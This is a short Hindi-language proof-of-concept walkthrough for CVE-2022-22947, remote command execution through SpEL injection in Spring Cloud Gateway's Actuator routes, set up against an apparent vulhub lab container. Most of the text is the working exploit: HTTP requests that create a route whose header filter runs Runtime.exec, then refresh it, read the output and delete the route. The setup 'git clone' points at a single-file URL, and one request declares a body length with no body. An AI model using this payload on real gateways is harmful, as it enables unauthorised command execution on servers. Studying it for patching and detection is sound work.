
CVE-2022-22947 के लिए PoC एक्सप्लॉइट: Spring Cloud Gateway में SpEL इंजेक्शन जो निर्मित Actuator API रूट्स के माध्यम से दूरस्थ कमांड निष्पादन सक्षम करता है।
Spring Cloud GatewayएकAPIगेटवे है जोSpringमें है। इसके3.1.0और3.0.6संस्करणों (सहित) में एकSpELएक्सप्रेशन इंजेक्शन कमजोरी मौजूद है। जब हमलावरActuator APIतक पहुँच सकता है, तो वह इस कमजोरी का उपयोग करके मनमानी कमांड निष्पादित कर सकता है।
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
routes इंटरफ़ेस पर निम्नलिखित डेटा पैकेट भेजें:
POST /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329
{
"id": "greetdawn",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}

उपरोक्त डेटा पैकेट देखने के बाद यह इंगित करता है कि नया रूट सफलतापूर्वक बनाया गया है।
फिर से निम्नलिखित डेटा पैकेट भेजें, अभी जोड़े गए रूट को लागू करने के लिए, SpEL एक्सप्रेशन निष्पादन को ट्रिगर करें:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 329

अभी बनाए गए रूट का अनुरोध करें, दुर्भावनापूर्ण कोड को ट्रिगर करें:
GET /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0

नोट: निम्नलिखित रूट हटाएं
DELETE /actuator/gateway/routes/greetdawn HTTP/1.1
Host: 192.168.2.68:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/json
Connection: close
Content-Length: 0
